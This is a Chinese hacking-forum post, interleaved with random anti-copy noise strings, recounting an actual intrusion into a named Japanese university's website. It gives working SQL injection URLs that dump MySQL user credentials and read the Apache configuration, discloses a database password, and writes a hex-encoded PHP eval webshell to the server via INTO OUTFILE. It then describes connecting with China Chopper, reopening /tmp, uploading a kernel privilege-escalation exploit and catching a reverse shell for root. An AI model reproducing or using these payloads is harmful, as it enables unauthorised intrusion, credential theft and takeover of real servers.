入侵日本同志社大学技术分析# |) }- `& Q& e Y
2 ?! V% P. B& p1 \- d4 D! }
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
) E; e% u0 i- a) t- G, I然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:- e( j, P2 u4 `9 ]9 D: R
) l" B# `9 d7 O; Y) E5 Q
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user/ @; ]; d7 e6 {
5 Q3 a1 A3 g/ E7 W2 {* M1 L2 z' n! \* N
% n6 c! F8 q! y3 h+ k" t/ |9 l) D$ L6 m
//@@datadir为数据库文件路径
* }% a: U3 }0 Q @
6 ^. n! ]9 g s+ B6 n' w$ M! X+ \& ~2 b
//load_file读取网站容器apache的配置文件 , O7 r4 Z( v* h4 P7 r; E
- w* f) O4 O( w o' W% ?2 A
1 D' \6 h J0 f h% n//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 8 F& q m8 F* M) W
复制代码
" a* Q6 i5 a. V( z1 {
; X, c: A4 D! D# P8 {# S o虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
* O" T8 M- K9 P( T7 u/ q4 B$ m
/ y. Q! F4 K9 D$ E: L" n8 ?而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。: \* X( S7 G) a) W3 k! @* i1 c
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)1 g3 t3 K' z+ B* Z2 O
P, D7 f& N" G% N) E; Q# J8 R前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
: u- a& \- ^+ g+ X如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html3 | p/ ?: F, U; }( |7 w6 h( `* r
( \7 |4 }9 K4 [' k* s
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/1 B! ^/ S, L6 U; q0 C0 L
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。1 l3 o: b8 u1 y
直接写一句话:
( a7 I& L3 R6 t2 C* a7 p
0 Z# s; h" R! H( S" g4 qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’# T7 b3 A: x" f/ t9 A7 w
! s, T* A# a( @
7 Q0 f$ s5 X# D& a/ ^( W
4 `. d2 w) p5 Q: B0 M9 M- J//最后的#是为了闭合前面的语句
/ d' B' Q _" y$ K7 ]* J y0 a
" ^4 p& ^/ \, R8 [- u. v1 S2 ~& x) z b6 O
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E / J' N9 Q6 J0 o) p2 W2 Z. m
" t5 }0 z' O& E/ R( r' p
' i1 j' x. B5 T0 o8 o为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
7 C# A4 \+ G9 g
+ D+ e6 z# u9 P3 y
( n+ h! @0 d3 A) {//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 + Z' e* W z# o
. h1 B/ {! r& y$ D& F- J+ [
! [8 `- M! M7 _3 F' I
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ( {/ z5 ^2 O; S5 u1 x: w, Q
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 6 W$ c! J$ |! P( O) J! k/ A
复制代码
+ }5 ~# \" {5 t/ e/ y0 y. D' M
) ^: W0 \! r. t6 m7 X% R5 rHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
8 Y4 t6 p0 V, `5 P% h, C! \2 N通过上述注入语句,我们就得到了一句话木马:& k( r2 ?& o' K9 a3 P- M
8 Z2 q2 R) F" }( p. a! ^
: j' n/ G% B* ^* B4 `5 ~8 K
) W/ z" y( a& m$ b* Z 7 r% D8 a% c6 g
4 F$ _1 I5 q9 G/ | a$ e9 Whttp://www.doshisha.ac.jp/english/engnews_img/aa.php
; o+ }( T! U. Y+ o复制代码# p i; D( h7 X6 k3 a
1 D7 a4 w6 c* I5 c9 O, R- V
用菜刀连接,密码是cmd,如图所示:3 W4 {9 O$ U9 @1 m& k) ?( ~
然后在命令提示行里看了一下,现在的权限是:1 {& X! T3 O% \( m9 z
+ v) ]( q! F& K* ~0 k之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
. e8 o0 M% \+ k; b好在赋权给这个文件夹不需要root,直接执行赋权语句:
3 N1 k; I& z" u& M9 c( i( w5 B$ e* ?" z( ?
8 O( r! G- x' `8 _
x k, ^0 [; G" X0 ]8 R; `' F9 I
5 I9 @5 a( c! r# C$ [+ H3 U' J' ?2 S% M: G0 E
chmod +x /tmp/ ! [; f, p: C( z. C6 n
复制代码
9 O+ g- I: V# t4 P; u* }) Q l) _$ I: E
- _) Q. L& ?( D在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
^3 h) \1 J& g4 y然后就查了一下内核版本:
- P) r! U6 I% `$ A+ [7 S3 K0 q6 x& l; L% z7 c
% c+ W) K* \; d9 p! U. ^
& L' b! z9 k- H+ S: x* B4 W0 p ' d H& E5 D$ u
- e4 A9 |4 W5 b' t' Kuname-a & A$ v3 T8 \0 Y F- K
* V* a; b: T8 ]; i* m; y6 f
+ g2 K5 {' ]% U7 W" j- F3 l//其实lsb_release -a 5 K C$ I6 r6 J# P( d) \9 v
复制代码
% r3 s4 @5 K3 d% @ [3 s8 U5 H* e4 _( b4 P& n g! N
如图所示:
& m8 e0 f0 ^0 h6 Y. g
6 y) c9 ?2 p: Z: N, e, }内核版本:linux mainz1 2.6.28-194.e15
, Z6 T* ?' \3 C2 I( a) Y# t系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
9 t1 E7 v) J& O, Y& h! v6 M查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹4 I& @+ K1 U) ?2 r
$ E+ J j% Z. t5 P) a$ g" Y7 I- i然后给予执行权限. f; o! @, Z/ e& W) O- |) z, f, a
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样3 g4 O; @5 ^9 u0 o7 e l, u
0 |3 Q* m: K% W2 ^. ?9 p
( h) Q. d" X s! |+ [! [0 k
2 r& ?7 R& `; y) L. n3 m; U% x, b. t ! Q3 N% m5 p- \$ T
1 s( r0 n# H; \4 M. X
chmod +x /tmp/2.6.18-194
5 C, o! Z5 p( `复制代码 然后直接执行!~1 i, h" {1 Z4 W k- F& L" ]
8 w) A- n: y" N. k总结:
/ `' h1 M2 w# F6 g( j+ _" B这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
- k q5 k8 B0 j7 z0 k提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
2 Q! O/ E% [3 K3 z
7 L# s$ e/ A" y) b& }" v. o. O u |